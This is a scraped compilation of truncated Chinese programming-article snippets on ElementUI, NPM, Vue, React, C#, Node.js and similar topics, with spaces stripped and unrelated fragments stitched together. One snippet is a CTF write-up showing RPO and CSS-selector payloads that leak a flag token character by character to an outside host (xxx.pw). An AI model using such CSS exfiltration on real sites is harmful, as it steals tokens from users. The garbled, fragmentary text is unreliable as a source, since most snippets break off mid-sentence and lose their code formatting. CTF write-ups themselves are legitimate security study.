ElementUI 1.x 项目升级到 2.x 踩坑指北
改为import'element-ui/lib/theme-chalk/index.css'这一步更新涉及面特别广,工作量比较大,而且要细心,具体的更新内容看项目而定,不能一一细述.基本的办法就是,一条一条检查非兼容性更新的内容,然后通过全局搜索,引用搜索等方式更新项目代码这一步做完之后,项目基本可以编译通过了,但可能还不能跑起来,如果跑不起来可以试试第三步3.依赖的非兼容性更新在更新的依赖中,也有非兼容性跟新的内容,对以上几个依赖分别去查看其ReleaseNote尤其是大版本的ReleaseNote的内容,比如:Vue.jsv2.5.0LevelE中说到依赖vue-loader>=13.3.0所以vue-loader要做相应更新更新了之后呢,去看看vue-loader的更新日志:Vue-Loaderv13.0.0中对路由的引用方式做了调整,所以路由引用有如下修改://beforeconstFoo=require('./Foo.vue')//after
【前端系列】学习 NPM
允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用；二、安装NPM所以，首先安装NodeJs，下载地址https://nodejs.org/en/download/打开NodeJS官网时，会发现有两个版本：LTS(LongTermSupport)和Current。官方也提示了，大多数用户建议使用LTS，如果想体验最新的特性可以使用Current版本。每个版本包含的NPM版本也有提示。在Mac上可以采用Homebrew安装。Homebrew是什么？可以理解为对应Redhat上的yum，Ubuntu的apt-get。不过Homebrew不是苹果的，是第三方的，官网https://brew.sh/index_zh-cn.html1、安装Homebrew，官网有命令：/usr/bin/ruby-e"$(curl-fsSLhttps://raw.githubusercontent.com/Homebrew/install/master/install)"2、安装nodebrewinstallno
如何学习一门编程语言
前言很多人喜欢争论什么什么编程语言好，我认为这个话题如果不限定应用范围，就毫无意义。每种编程语言必然有其优点和缺点，这也决定了它有适合的应用场景和不适合的应用场景。现代软件行业，想一门编程语言包打天下是不现实的。这中现状也造成了一种现象，一个程序员往往要掌握多种编程语言。学习任何一门编程语言，都会面临的第一个问题都是：如何学习XX语言？我不想说什么多看、多学、多写、多练之类的废话。世上事有难易乎？无他，唯手熟尔。谁不知道熟能生巧的道理？我觉得有必要谈谈的是：如何由浅入深的学习一门编程语言？学习所有编程语言有没有一个相对统一的学习方法？曾几何时，当我还是一名小菜鸟时，总是叹服那些大神掌握多门编程语言。后来，在多年编程工作和学习中，我陆陆续续也接触过不少编程语言：C、C++、Java、C#、Javascript、shell等等。每次学习一门新的编程语言，掌握程度或深或浅，但是学习的曲线却大抵相似。下面，我按照个人的学习经验总结一下，学习编程语言的基本步骤。学习编程语言的步骤![https://raw.githubus
MoveTo，一款无依赖、轻量级的滚动插件
方晓anhourago作者：王磊，来自陆金所大前端。安装方式安装方式同时支持yarn、npm和bower。npm$npminstallmoveto--saveYarn$yarnaddmovetoBower$bowerinstallmoveTo--save该插件有两种使用方法可供选择：通过Id选择器获取目标对象的DOM元素，通过moveTo.move(target)实现滚动，示例代码如下：constmoveTo=newMoveTo();consttarget=document.getElementById(‘target’);moveTo.move(target);2.首先给a标签或button标签添加class="js-trigger"属性，之后获取到该属性的DOM元素，示例代码如下：//registeratriggerconsttrigger=document.getElementsByClassName('js-trigger')[0];moveTo.registerTrigge
前端工程师为什么要学习和研究Vue？
读者圈二维码读者圈配置了丰富多彩的线上服务。有的项目收费、有的项目免费。收费也是象征性的，主要是作者时间有限，通过收费设置，避免无效信息太多。很多朋友读书喜欢直入主题，不喜欢读书的序言。其实一般来说，书的序言，特别是作者请其他人为书写的序，多半来自于作者的老师、行业的牛人，序言里的信息量、序言的价值都是非常大的。那么这里就把这本书，前端专家张龙老师写的序分享给大家，或许也回答了本文标题上的问题。序言在很长时间以内，前端开发的工作内容是为静态的HTML增加动态的效果，所以基于jQuery的Bootstrap非常流行。真正让前端开发产生变化的是2014和2015年Angular.js和React的崛起，这使得MV*模式变得流行，让前端渲染开始流行。MV*模式让前端开发的思维发生了一个翻天覆地的变化，让前端工作变得更有挑战，它不再是为后端开发者写HTML的模板，而是更多地关注在工程化、可维护性、数据流等方面。“饿了么”大前端团队在2015年主要使用的是Angular.js1.2版本，在使用其开发了外卖PC站、早餐业
JavaScript内置对象--String
JavaScript内置对象--String一、字符串对象的方法1.charAt()语法：stringObject.charAt(index)功能：返回stringObject中index位置的字符。2.charCodeAt()语法：stringObject.charCodeAt(index)功能：返回stringObject中index位置字符的字符编码说明：ECMAScript5中可使用“方括号加字符索引”来访问字符串中特定的字符，但是IE7及更早的浏览器会返回undefined。varstr="helloworld";console.log(str[1]);//econsole.log(str.charAt(0));//hconsole.log(str.charAt(15));//空console.log(str.charCodeAt(4));//o编码的1113.indexOf()语法：stringObject.indexOf("o")功能：从一个字符串中搜索给定的子字符串，返回子字符串的位置。返回值：数值说明：如果没
从源码的角度看 React JS 中批量更新 State 的策略（上）
在之前的文章「深入理解ReactJS中的setState」与「从源码的角度再看ReactJS中的setState」中，我们分别看到了ReactJS中setState的异步表现，并从源码的角度简单地了解了React中setState的设计结构以及原理。这篇文章继上篇文章后，继续从源码的角度来了解React中对State批量更新策略的定义。同样，源码的部分为了保证格式正常就直接截图了，查看源码点击对应的链接直接跳转至GitHub查看即可。1.setState的源码实现在setState的源码实现中，传递过来的参数就被定义成了partialState，从参数名以及参数的说明中就可以看到，这只是state的一部分。默认都会调用this.updater.enqueueSetState(this,partialState)将state放进更新队列中去。而如果有传递回调函数过来的话，会执行this.updater.enqueueCallback(this
Tree-Shaking性能优化实践 - 实践篇
写文章登录Tree-Shaking性能优化实践-实践篇linxi2hoursago上一篇文章Tree-Shaking性能优化实践-原理篇介绍了tree-shaking的原理，本文主要介绍tree-shaking的实践linxi：Tree-Shaking性能优化实践-原理篇zhuanlan.zhihu.com三.tree-shaking实践webpack2发布，宣布支持tree-shaking，webpack3发布，支持作用域提升，生成的bundle文件更小。再没有升级webpack之前，增幻想我们的性能又要大幅提升了，对升级充满了期待。实际上事实是这样的升级完之后，bundle文件大小并没有大幅减少，当时有较大的心理落差，然后去研究了为什么效果不理想，原因见Tree-Shaking性能优化实践-原理篇。优化还是要继续的，虽然工具自带的tree-shaking不能去除太多无用代码，在去除无用代码这一方面也还是有可以做的事情。我们从三个方面做里一些优化。（1）对组件库引用的优化先
34C3 CTF Web urlstorage Writeup
几个信息点1、csrf，个人的url地址保存的时候是可以进行csrf的结合网页加载的css，可导致rpo漏洞.%0a%0d%0a%0a%0d%0a*%7B%7D*{}*{background:red}*{}*%0a%0d%0a2、token处存在xss，有64字符的长度限制.3、csp防御frame-ancestors'none';form-action'self';connect-src'self';script-src'self';font-src'self';style-src'self';获取flagtoken链接回到第一个rpo地方，可以通过css选择器去一个个匹配网页链接中的内容，然后再传输出来第一位字符:a[href^=flag\?token\=0]{background:url(//xxx.pw/rpo/?c=1);}a[href^=flag\?token\=1]{background:url(//xxx.pw/rpo/?c=1);}...a[href^=flag\
基于canvas的视频遮罩插件
为一个视频添加一个覆盖物，从而挡住视频某区域，在视频的某一时间段，比如第10到第20分钟不显示划定的这块区域。应用场景包括遮挡卫视图标、遮挡视频右下角广告、充当马赛克等。一个长视频可能包含多个遮罩，每个遮罩有特定的显示时间（在此时间外，隐藏该遮罩）。前端实现视频遮罩有基于div和基于canvas两种技术方案，本文是使用canvas完成的。主要原理是在HTML的video标签上贴上一个透明的canvas图层，然后响应mousedown、mousemove、mouseup事件。由于canvas事件只是基于canvas元素，所以canvas内部每个元素（一个矩形，一个圆等）的事件响应要利用坐标来自己代码完成。插件GitHub地址https://github.com/cunzaizhuyi/maskPlugin演示地址http://htmlpreview.github.io/？https://github.com/cunzaizhuyi/maskPlugin/blob/master/m
使用最新版的 C# 編譯器
在C#7.1開始加入了非同步Main()的寫法，更方便我們寫非同步的程式，而且VisualStudio2017(Version15.3)已經內建C#7.1的功能，不過預設專案會使用最新主要版本，也就是C#7.0，因此在享用C#7.1新的語法糖前，要先知道如何指定C#版本。指定C#版本使用介面在VisualStudio中有兩種方式可以指定C#版本，一種是使用介面做修改，從工具列中點選專案>屬性在建置頁籤中點選進階按鈕，會開啟進階建置設定的視窗，這裡可以看到，VisualStudio預設是使用C#最新主要版本，也就是C#7.0，這裡我們可以指定要使用的版本，或是選擇C#最新次要版本，這選項會使用目前環境中最新的C#版本，以下圖為例，就是C#7.2。修改專案檔我們也可以透過直接修改.csproj專案檔來指定版本，從工具列中點選專案>編輯ConsoleApp.csproj這裡只需要在
DevExpress v17.2—WPF篇（五）
用户界面套包DevExpressv17.2终于正式发布，本站将以连载的形式为大家介绍各版本新增内容。本文将介绍了DevExpressWPFv17.2新的HamburgerMenu、SchedulerControl、Dialogs(CTP)、DataGridControl等，快来下载试用新版本！PDFViewer渲染非常大的图像现在支持大图像渲染（解包大小为200Mb）。文本标记注释使用此版本，您可以在viewer的Comment工具栏中使用相应工具突出显示、添加下划线或删除文本。您也可以选择文本标记注释，更改其属性或从文档中删除标记注释。PivotGridControl增强性能新版本包含对DevExpressPivotGridControl内存数据处理功能的重大增强，现在比前一代快4倍。用于未绑定字段表达式的Intellisense编辑器DevExpressWPFPivotGrid附带一个支持自动完成和语法高亮显示的表达式编辑器。RichTextEditor自定义上下文菜单在这个版本中
程序员如何培养第二技能？
阅读文本大概需要2.2分钟。之前的中兴跳楼事件，我就告诫大家一定要培养第二技能，尤其是程序员，第二技能异常重要，有了第二技能才能避免中年危机，很多读者留言，想让我写一篇如何培养第二技能的文章，这篇文章其实是我分享在我的知识星球内部的，姑且今天分享出来。我为什么说程序员培养第二技能异常重要呢？想必大家都听过这么一句话，程序员都是吃青春饭。这句话虽然我不完全同意，但是不可否认的是如果你想一直写代码，你是很难写到35岁的，有人反驳了，国外谁谁谁写代码都写到50岁呢，以特例来论证整体是不成熟理智的，我敢这么说，单纯的写代码，在国内能写到35岁的人极少数，也许你对代码有极大的热情，但是技术的变迁实在太快，年轻的时候你有时间精力去学习新东西，但是年纪大了，你是心有余而力不足，你跟年轻人比学习是永远没法比的，而程序员恰恰需要一直不断的去学习，才能保证让自己的技术水平不至于滞后，所以程序员是吃青春饭的是有那么一点道理的。其实本质上来说，编程的可积累性较差。什么意思呢？就是因为技术的升级变迁太快，你需要保持不断的学习才行，想想以
视频演讲： Hulu基于DASH构建的高清直播系统架构及实践
42:12概要Hulu作为美国三大在线专业视频服务提供商之一，不满足于提供单纯的点播视频服务，于2017年五月推出了自己的电视直播服务。Hulu依靠自己运营高清点播服务的经验和基础架构，重新搭建了整个直播系统，并对现有的点播系统进行了全面的升级。该架构适应了Hulu互联网电视产品的需求，可以为从移动端到客厅大屏各种设备提供高清、快速响应的直播／点播视频体验。本次分享将介绍Hulu直播系统的一些创新之处，并介绍我们在提高直播系统稳定性及可扩展性，降低直播延迟，提高直播视频质量，方面的一些实践经验。个人简介李彬，Hulu研发中心首席软件开发主管，2014年加入Hulu北京研发中心，目前任研发中心首席软件开发主管，主导Hulu核心视频技术的研发。从清华大学攻读博士学位开始，一直从事互联网视频相关领域的研究和开发，有丰富的音视频直播，点播系统的实战经验。全球架构师峰会（InternationalArchitectSummit，下简称ArchSummit）是由InfoQ中文站主办的一次全球性架构师
DBLE ——基于 MySQL的高可扩分布式中间件
dble是上海爱可生信息技术股份有限公司基于mysql的高可扩展性的分布式中间件，存在以下几个优势特性：数据水平拆分随着业务的发展，您可以使用dble来替换原始的单个MySQL实例。兼容Mysql与MySQL协议兼容，在大多数情况下，您可以用它替换MySQL来为你的应用程序提供新的存储，而无需更改任何代码。高可用性dble服务器可以用作集群，业务不会受到单节点故障的影响。SQL支持支持SQL92标准和MySQL方言。我们支持复杂的SQL查询，如groupby，orderby，distinct，join，union，sub-query等等。复杂查询优化优化复杂查询，包括但不限于全局表连接分片表，ER关系表，子查询，简化选择项等。分布式事务支持使用两阶段提交的分布式事务。您可以为了性能选择普通模式或者为了数据安全采用XA模式。当然，XA模式依赖于MySQL-5.7的XATransaction，MySQL节点的高可用性和数据的可靠性。dble由来dble是基于开源项目MyCat的，在此对于MyCat的贡
Node.js v8.9.4 (LTS) 发布，可以从任何目录配置
提交[62ad4cca07]-tools/doc:addtools/remark-*toeslintignore(IvanWei)#17240[ce91a38970]-benchmark:fixhttp/simple.jsbenchmark(AnatoliPapirovski)#17583[3fe7f9f102]-benchmark:setmaxHeaderListPairsinh2headers.js(AnatoliPapirovski)#17194[4597bd753a]-benchmark:useuniquefilenamesinfsbenchmarks(RichTrott)#16776[92723701cd]-benchmark,path:removeunusedvariables(薛定谔的猫)#15789[58a667c884]-build:addamak
React、Vue 、 Angular 共分天下，2018首将会是谁？
要论2017年最主流的三个Web前端结构，应莫过于Angular、Vue和React了。然而在实际运用中，这三个结构却不尽相同，对于规模不大的前端项目来说，Vue因其极易上手会被列出首选之位，Angular在快速开发大型Web项目上很受推崇，但仍存许多缺点，React正为JavaScript运用开发者供给新的开发方式。因此，面对各有千秋的开发结构，作为一名开发者该怎么挑选？哪种结构更具有前景？接下来，本文作者经过近来最新发布的JavaScript调查报告，深度分析前端结构的盛行趋势及未来发展，希望给许多前端开发者指明一些方向。Stateofjs2017前端结构调查成果与日常一样，运用JavaScript编程言语的核心区别是由前端结构引起的。从调查报告来看，比较Angular和Vue，React是2017年的主要JavaScript结构，尤其是ReactNative以史无前例的速度提高自己。同时由于Angular的盛行度下滑，Vue也遭到越来越多的欢迎。更多
JavaScript标准库之数组
newArray(-1)VM376:1UncaughtRangeError:Invalidarraylengthat
js中数组操作
数组APIAPI:ApplicationProgrammingInterface,应用程序编程接口;js中对象提供的方法就叫做API；instanceof检测一个对象是否是数组;(用来对付复杂数据类型;)//简单数据类型typeof;AinstanceofB//A是不是B造出来的;例：vararr=[1,2,3];console.log(arrinstanceofArray);//arr属不属于Array类型;Array.isArray()Array.isArray(参数);//判断参数是不是数组,返回布尔值;例：vararr=[1,2,3];varnum=123;console.log(Array.isArray(arr));//trueconsole.log(Array.isArray(num));//falsetoString()数组.toString();//把数组变成字符串,去除了[],内容用逗号链接;例：vararr=["aaa","bbb","ccc"];conso
Laravel+Layer 图片上传功能整理
⒉前端准备页面引入layui的css和js文件